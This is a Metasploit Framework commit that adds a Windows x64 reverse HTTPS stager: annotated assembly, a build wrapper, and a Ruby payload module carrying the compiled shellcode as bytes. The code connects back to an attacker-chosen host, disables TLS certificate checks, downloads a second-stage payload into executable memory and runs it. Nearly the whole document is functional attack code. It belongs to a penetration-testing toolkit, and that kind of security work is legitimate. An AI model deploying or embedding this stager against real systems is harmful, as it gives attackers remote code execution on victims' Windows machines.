Land #1821, x64_reverse_https payload
Tod Beardsley
commit
dc014ede36
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;-----------------------------------------------------------------------------;
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; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Rewrited to x64 by agix
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; Compatible: Windows 7
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; Architecture: x64
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;-----------------------------------------------------------------------------;
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[BITS 64]
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; Input: RBP must be the address of 'api_call'.
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; Output: RDI will be the socket for the connection to the server
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; Clobbers: RAX, RCX, RDX, RDI, R8, R9, R10, R12, R13, R14, R15
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load_wininet:
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; setup the structures we need on the stack...
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mov r14, 'wininet'
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push r14 ; Push the bytes 'wininet',0 onto the stack.
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mov r14, rsp ; save pointer to the "wininet" string for LoadLibraryA call.
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mov rcx, r14 ; set the param for the library to load
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mov r10, 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" )
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call rbp ; LoadLibraryA( "ws2_32" )
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internetopen:
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push byte 0 ; NULL pointer
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mov rcx, rsp ; LPCTSTR lpszAgent ("\x00")
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xor rdx, rdx ; DWORD dwAccessType (PRECONFIG = 0)
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xor r8, r8 ; LPCTSTR lpszProxyName
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xor r9, r9 ; LPCTSTR lpszProxyBypass
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push r8 ; DWORD dwFlags
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push r8 ; alignment
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mov r10, 0xA779563A ; hash( "wininet.dll", "InternetOpenA" )
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call rbp
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jmp dbl_get_server_host
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internetconnect:
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pop rdx ; LPCTSTR lpszServerName
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mov rcx, rax ; HINTERNET hInternet
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mov r8, 4444 ; PORT
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xor r9, r9 ; LPCTSTR lpszUsername
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push r9 ; DWORD_PTR dwContext (NULL)
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push r9 ; DWORD dwFlags
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push 3 ; DWORD dwService (INTERNET_SERVICE_HTTP)
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push r9 ; alignment
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mov r10, 0xC69F8957 ; hash( "wininet.dll", "InternetConnectA" )
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call rbp
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jmp get_server_uri
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httpopenrequest:
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mov rcx, rax ; HINTERNET hConnect
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xor rdx, rdx ; LPCTSTR lpszVerb
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pop r8 ; LPCTSTR lpszObjectName
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xor r9, r9 ; LPCTSTR lpszVersion
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push rdx ; DWORD_PTR dwContext
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push qword (0x0000000080000000 | 0x0000000004000000 | 0x0000000000800000 | 0x0000000000200000 | 0x0000000000001000 |0x0000000000002000 |0x0000000000000200) ; dwFlags
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;0x80000000 | ; INTERNET_FLAG_RELOAD
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;0x04000000 | ; INTERNET_NO_CACHE_WRITE
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;0x00800000 | ; INTERNET_FLAG_SECURE
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;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT
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;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID
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;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
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;0x00000200 ; INTERNET_FLAG_NO_UI
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push rdx ; LPCTSTR *lplpszAcceptTypes
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push rdx ; LPCTSTR lpszReferer
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mov r10, 0x3B2E55EB ; hash( "wininet.dll", "HttpOpenRequestA" )
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call rbp
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mov rsi, rax
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retry:
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push byte 10
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pop rdi
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; InternetSetOption (hReq, INTERNET_OPTION_SECURITY_FLAGS, &dwFlags, sizeof (dwFlags) );
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internetsetoption:
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mov rcx, rsi ; HINTERNET hInternet
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mov rdx, 31 ; DWORD dwOption (INTERNET_OPTION_SECURITY_FLAGS)
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push qword 0x00003380
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;0x00002000 | ; SECURITY_FLAG_IGNORE_CERT_DATE_INVALID
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;0x00001000 | ; SECURITY_FLAG_IGNORE_CERT_CN_INVALID
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;0x00000200 | ; SECURITY_FLAG_IGNORE_WRONG_USAGE
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;0x00000100 | ; SECURITY_FLAG_IGNORE_UNKNOWN_CA
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;0x00000080 ; SECURITY_FLAG_IGNORE_REVOCATION
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mov r8, rsp
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mov r9, 4 ; sizeof(dwFlags)
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mov r10, 0x869E4675 ; hash( "wininet.dll", "InternetSetOptionA" )
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call rbp
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httpsendrequest:
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mov rcx, rsi ; HINTERNET hRequest
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xor rdx, rdx ; LPCTSTR lpszHeaders
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xor r8, r8 ; DWORD dwHeadersLength
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xor r9, r9 ; LPVOID lpOptional
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push rdx ; DWORD dwOptionalLength
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mov r10, 0x7B18062D ; hash( "wininet.dll", "HttpSendRequestA" )
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call rbp
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test eax,eax
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jnz short allocate_memory
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try_it_again:
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dec rdi
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jz failure
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jmp short internetsetoption
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dbl_get_server_host:
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jmp get_server_host
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get_server_uri:
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call httpopenrequest
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server_uri:
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db "/12345", 0x00
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failure:
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mov r14, 0x56A2B5F0 ; hardcoded to exitprocess for size
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call rbp
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allocate_memory:
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xor rcx, rcx ; LPVOID lpAddress
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mov rdx, 0x00400000 ; SIZE_T dwSize
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mov r8, 0x1000 ; DWORD flAllocationType(MEM_COMMIT)
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mov r9, 0x40 ; DWORD flProtect(PAGE_EXECUTE_READWRITE)
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mov r10, 0xE553A458 ; hash( "kernel32.dll", "VirtualAlloc" )
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call rbp
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download_prep:
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xchg rax, rbx ; place the allocated base address in ebx
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push rbx ; store a copy of the stage base address on the stack
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push rbx ; temporary storage for bytes read count
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mov rdi, rsp ; &bytesRead
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download_more:
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mov rcx, rsi ; HINTERNET hFile
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mov rdx, rbx ; LPVOID lpBuffer
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mov r8, 8192 ; DWORD dwNumberOfBytesToRead
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mov r9, rdi ; LPDWORD lpdwNumberOfBytesRead
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mov r10, 0xE2899612 ; hash( "wininet.dll", "InternetReadFile" )
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call rbp
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add rsp, 32 ; clean reserverd space
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test eax,eax ; download failed? (optional?)
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jz failure
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mov rax, [rdi]
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add rbx, rax ; buffer += bytes_received
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test rax,rax ; optional?
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jnz download_more ; continue until it returns 0
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pop rax ; clear the temporary storage
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pop rax ; f*cking alignment
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execute_stage:
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ret ; dive into the stored stage address
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get_server_host:
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call internetconnect
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server_host:
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@ -0,0 +1,20 @@
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;-----------------------------------------------------------------------------;
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; Author: Stephen Fewer (stephen_fewer[at]harmonysecurity[dot]com)
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; Rewrited to x64 by agix
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; Compatible: Windows 7
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; Architecture: x64
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; Size: 570 bytes
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; Build: >build.py stager_reverse_https
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;-----------------------------------------------------------------------------;
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[BITS 64]
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[ORG 0]
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cld ; Clear the direction flag.
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and rsp, 0xFFFFFFFFFFFFFFF0 ; Ensure RSP is 16 byte aligned
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call start ; Call start, this pushes the address of 'api_call' onto the stack.
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%include "./src/block/block_api.asm"
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start: ;
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pop rbp ; pop off the address of 'api_call' for calling later.
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%include "./src/block/block_reverse_https.asm"
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; By here we will have performed the reverse_tcp connection and EDI will be our socket
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@ -0,0 +1,101 @@
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'msf/core/handler/reverse_https'
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module Metasploit3
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include Msf::Payload::Stager
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include Msf::Payload::Windows
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def initialize(info = {})
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super(merge_info(info,
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'Name' => 'Windows x64 Reverse HTTPS Stager',
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'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)',
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'Author' => 'hdm (x64 rewrite by agix)',
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'License' => MSF_LICENSE,
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'Platform' => 'win',
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'Arch' => ARCH_X86_64,
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'Handler' => Msf::Handler::ReverseHttps,
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'Convention' => 'sockrdi https',
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'Stager' =>
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{
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'Offsets' =>
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{
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# Disabled since it MUST be ExitProcess to work on WoW64 unless we add EXITFUNK support (too big right now)
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# 'EXITFUNC' => [ 290, 'V' ],
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'LPORT' => [ 282, 'v' ], # Not a typo, really little endian
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},
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'Payload' =>
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"\xFC\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51" +
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"\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52" +
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"\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0" +
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"\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED" +
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"\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78" +
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"\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67" +
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"\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56" +
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"\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0" +
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"\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24" +
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"\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41" +
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"\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01" +
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"\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83" +
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"\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF" +
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"\xFF\xFF\x5D\x49\xBE\x77\x69\x6E\x69\x6E\x65\x74\x00\x41\x56\x49" +
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"\x89\xE6\x4C\x89\xF1\x49\xBA\x4C\x77\x26\x07\x00\x00\x00\x00\xFF" +
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"\xD5\x6A\x00\x48\x89\xE1\x48\x31\xD2\x4D\x31\xC0\x4D\x31\xC9\x41" +
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"\x50\x41\x50\x49\xBA\x3A\x56\x79\xA7\x00\x00\x00\x00\xFF\xD5\xE9" +
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"\x9B\x00\x00\x00\x5A\x48\x89\xC1\x49\xB8\x5C\x11\x00\x00\x00\x00" +
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"\x00\x00\x4D\x31\xC9\x41\x51\x41\x51\x6A\x03\x41\x51\x49\xBA\x57" +
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"\x89\x9F\xC6\x00\x00\x00\x00\xFF\xD5\xEB\x79\x48\x89\xC1\x48\x31" +
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"\xD2\x41\x58\x4D\x31\xC9\x52\x68\x00\x32\xA0\x84\x52\x52\x49\xBA" +
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"\xEB\x55\x2E\x3B\x00\x00\x00\x00\xFF\xD5\x48\x89\xC6\x6A\x0A\x5F" +
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"\x48\x89\xF1\x48\xBA\x1F\x00\x00\x00\x00\x00\x00\x00\x68\x80\x33" +
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"\x00\x00\x49\x89\xE0\x49\xB9\x04\x00\x00\x00\x00\x00\x00\x00\x49" +
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"\xBA\x75\x46\x9E\x86\x00\x00\x00\x00\xFF\xD5\x48\x89\xF1\x48\x31" +
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"\xD2\x4D\x31\xC0\x4D\x31\xC9\x52\x49\xBA\x2D\x06\x18\x7B\x00\x00" +
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"\x00\x00\xFF\xD5\x85\xC0\x75\x24\x48\xFF\xCF\x74\x13\xEB\xB1\xE9" +
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"\x81\x00\x00\x00\xE8\x82\xFF\xFF\xFF\x2F\x31\x32\x33\x34\x35\x00" +
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"\x49\xBE\xF0\xB5\xA2\x56\x00\x00\x00\x00\xFF\xD5\x48\x31\xC9\x48" +
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"\xBA\x00\x00\x40\x00\x00\x00\x00\x00\x49\xB8\x00\x10\x00\x00\x00" +
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"\x00\x00\x00\x49\xB9\x40\x00\x00\x00\x00\x00\x00\x00\x49\xBA\x58" +
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"\xA4\x53\xE5\x00\x00\x00\x00\xFF\xD5\x48\x93\x53\x53\x48\x89\xE7" +
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"\x48\x89\xF1\x48\x89\xDA\x49\xB8\x00\x20\x00\x00\x00\x00\x00\x00" +
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"\x49\x89\xF9\x49\xBA\x12\x96\x89\xE2\x00\x00\x00\x00\xFF\xD5\x48" +
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"\x83\xC4\x20\x85\xC0\x74\x99\x48\x8B\x07\x48\x01\xC3\x48\x85\xC0" +
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"\x75\xCE\x58\x58\xC3\xE8\xDA\xFE\xFF\xFF"
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}
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))
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end
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#
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# Do not transmit the stage over the connection. We handle this via HTTPS
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#
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def stage_over_connection?
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false
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end
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#
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# Generate the first stage
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#
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def generate
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p = super
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i = p.index("/12345\x00")
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u = "/" + generate_uri_checksum(Msf::Handler::ReverseHttps::URI_CHECKSUM_INITW) + "\x00"
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p[i, u.length] = u
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p + datastore['LHOST'].to_s + "\x00"
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end
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#
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# Always wait at least 20 seconds for this payload (due to staging delays)
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#
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def wfs_delay
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20
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end
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end
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